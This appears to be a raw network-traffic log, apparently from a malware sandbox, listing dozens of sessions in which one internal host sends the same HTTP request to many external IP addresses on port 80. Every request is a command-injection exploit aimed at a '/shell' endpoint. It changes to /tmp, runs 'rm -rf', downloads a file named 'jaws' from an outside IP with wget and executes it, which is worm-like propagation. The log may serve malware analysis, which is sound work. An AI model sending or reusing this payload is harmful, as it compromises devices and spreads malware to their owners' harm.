Jan 5, 2025 14:26:58.678683043 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.13	41512	170.114.235.83	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678685904 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.13	45650	167.140.115.101	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678704023 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.13	45622	108.5.168.211	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678730965 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.13	58814	94.49.139.13	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678755045 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.13	32958	213.52.106.216	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678774118 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.13	45906	77.148.102.80	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678796053 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.13	55412	187.215.170.91	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678841114 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.13	44078	186.233.155.56	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678842068 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.13	49662	118.1.42.140	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678869009 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.13	53732	201.24.10.218	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678870916 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.13	50896	208.31.46.129	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678891897 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.13	37904	27.187.204.8	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678920984 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.13	44508	210.251.76.35	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678941965 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.13	46236	144.228.47.121	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678942919 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.13	50578	159.50.39.200	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678968906 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.13	40220	49.38.20.8	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.678968906 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.13	53770	85.165.50.215	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.679001093 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.13	47058	183.75.42.187	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.679017067 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.13	58878	95.225.137.142	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.679058075 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.13	34620	19.181.176.189	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.679059982 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.13	37306	205.84.6.154	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.679079056 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.13	51924	67.6.202.35	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.679102898 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.13	39330	177.15.51.100	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.679121017 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.13	58202	205.205.167.21	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.679147005 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.13	57070	34.20.189.80	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.679183006 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.13	59566	198.40.82.222	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.679186106 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.13	59862	27.255.102.38	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.679207087 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.13	53268	205.118.148.77	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.679224014 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.13	41492	20.28.186.113	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.679255962 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.13	58752	169.25.166.142	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:58.713433027 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.13	40210	184.39.176.49	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.673958063 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.13	59548	49.185.194.134	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.673995972 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.13	51430	32.164.191.231	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674016953 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.13	34752	121.155.195.73	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674021006 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.13	60944	97.124.195.81	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674045086 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.13	38996	128.250.180.34	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674062967 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.13	54974	54.151.72.99	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674134970 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.13	54586	132.108.249.151	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674170971 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.13	57086	46.224.56.104	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674170971 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.13	60414	187.178.160.113	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674187899 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.13	41334	64.50.196.133	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674227953 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.13	52328	40.133.17.244	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674227953 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.13	46420	44.162.94.163	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674251080 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.13	56606	90.185.103.33	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674274921 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.13	44682	169.194.176.114	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674276114 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.13	38338	198.38.240.51	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674299002 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.13	59422	14.81.236.190	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674312115 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.13	42852	110.169.6.176	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674338102 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.13	45620	37.168.163.42	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674350977 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.13	57168	160.232.8.64	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674360037 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.13	38300	160.12.31.23	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674376965 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.13	51558	165.4.191.158	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674402952 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.13	42078	90.250.128.19	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674416065 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.13	47928	172.114.95.204	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674439907 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.13	51950	182.58.107.213	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674457073 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.13	51032	218.135.140.108	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674470901 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.13	58378	153.152.78.14	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674494982 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.13	47872	200.63.240.141	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674509048 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.13	56770	186.181.40.84	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674530983 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.13	42836	61.226.178.38	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674552917 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.13	46532	192.247.19.115	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674556017 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.13	45330	139.30.30.163	80

Timestamp	Bytes transferred	Direction	Data
Jan 5, 2025 14:26:59.674592018 CET	245	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 107.150.62.186/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.13	38012	171.208.31.151	80

Timestamp	Bytes transferred	Direction	Data
